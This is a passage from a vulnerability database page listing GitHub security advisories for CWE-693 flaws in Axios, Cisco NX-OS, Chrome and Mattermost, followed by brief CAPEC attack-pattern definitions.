`lib/helpers/resolveConfig.js`\n\u003c/details\u003e\n\n---",
  "id": "GHSA-4hqw-qxg8-jxx2",
  "modified": "2026-09-30T15:34:46Z",
  "published": "2026-09-30T15:34:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101900"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders"
}

GHSA-4J2J-4GR5-GR6H

Vulnerability from github – Published: 2024-08-28 18:31 – Updated: 2024-08-28 18:31
VLAI
Details

A vulnerability in the Python interpreter of Cisco NX-OS Software could allow an authenticated, low-privileged, local attacker to escape the Python sandbox and gain unauthorized access to the underlying operating system of the device.

The vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by manipulating specific functions within the Python interpreter. A successful exploit could allow an attacker to escape the Python sandbox and execute arbitrary commands on the underlying operating system with the privileges of the authenticated user.  Note: An attacker must be authenticated with Python execution privileges to exploit these vulnerabilities. For more information regarding Python execution privileges, see product-specific documentation, such as the section of the Cisco Nexus 9000 Series NX-OS Programmability Guide.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-20286"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-28T17:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the Python interpreter of Cisco NX-OS Software could allow an authenticated, low-privileged, local attacker to escape the Python sandbox and gain unauthorized access to the underlying operating system of the device.\n\nThe vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by manipulating specific functions within the Python interpreter. A successful exploit could allow an attacker to escape the Python sandbox and execute arbitrary commands on the underlying operating system with the privileges of the authenticated user.\u0026nbsp;\nNote: An attacker must be authenticated with Python execution privileges to exploit these vulnerabilities. For more information regarding Python execution privileges, see product-specific documentation, such as the  section of the Cisco Nexus 9000 Series NX-OS Programmability Guide.",
  "id": "GHSA-4j2j-4gr5-gr6h",
  "modified": "2024-08-28T18:31:54Z",
  "published": "2024-08-28T18:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20286"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-psbe-ce-YvbTn5du"
    },
    {
      "type": "WEB",
      "url": "https://www.cisco.com/c/en/us/td/docs/dcn/nx-os/nexus9000/105x/programmability/cisco-nexus-9000-series-nx-os-programmability-guide-105x/m-n9k-python-api-101x.html?bookSearch=true#concept_A2CFF094ADCB414C983EA06AD8E9A410"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4J5R-7XC7-9PR6

Vulnerability from github – Published: 2026-04-01 06:31 – Updated: 2026-04-01 15:31
VLAI
Details

Insufficient policy enforcement in WebUSB in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-5276"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-01T05:16:00Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient policy enforcement in WebUSB in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-4j5r-7xc7-9pr6",
  "modified": "2026-04-01T15:31:14Z",
  "published": "2026-04-01T06:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5276"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/489711638"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4M4M-6FM5-244F

Vulnerability from github – Published: 2025-11-08 00:31 – Updated: 2025-11-10 18:30
VLAI
Details

Inappropriate implementation in Permissions in Google Chrome prior to 140.0.7339.80 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-12906"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-08T00:15:35Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in Permissions in Google Chrome prior to 140.0.7339.80 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)",
  "id": "GHSA-4m4m-6fm5-244f",
  "modified": "2025-11-10T18:30:33Z",
  "published": "2025-11-08T00:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12906"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/428455319"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4M4M-VM74-RQV4

Vulnerability from github – Published: 2025-12-17 21:30 – Updated: 2025-12-17 21:30
VLAI
Details

Mattermost Desktop App versions <6.0.0 fail to enable the Hardened Runtime on the Mattermost Desktop App when packaged for Mac App Store which allows an attacker to inherit TCC permissions via copying the binary to a tmp folder.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13326"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-17T19:16:01Z",
    "severity": "LOW"
  },
  "details": "Mattermost Desktop App versions \u003c6.0.0 fail to enable the Hardened Runtime on the Mattermost Desktop App when packaged for Mac App Store which allows an attacker to inherit TCC permissions via copying the binary to a tmp folder.",
  "id": "GHSA-4m4m-vm74-rqv4",
  "modified": "2025-12-17T21:30:48Z",
  "published": "2025-12-17T21:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13326"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-107: Cross Site Tracing

Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-20: Encryption Brute Forcing

An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-237: Escaping a Sandbox by Calling Code in Another Language

The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content

An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.

CAPEC-480: Escaping Virtualization

An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.

CAPEC-51: Poison Web Service Registry

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-65: Sniff Application Code

An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.

CAPEC-74: Manipulating State

The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.

State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.

If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.

CAPEC-87: Forceful Browsing

An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.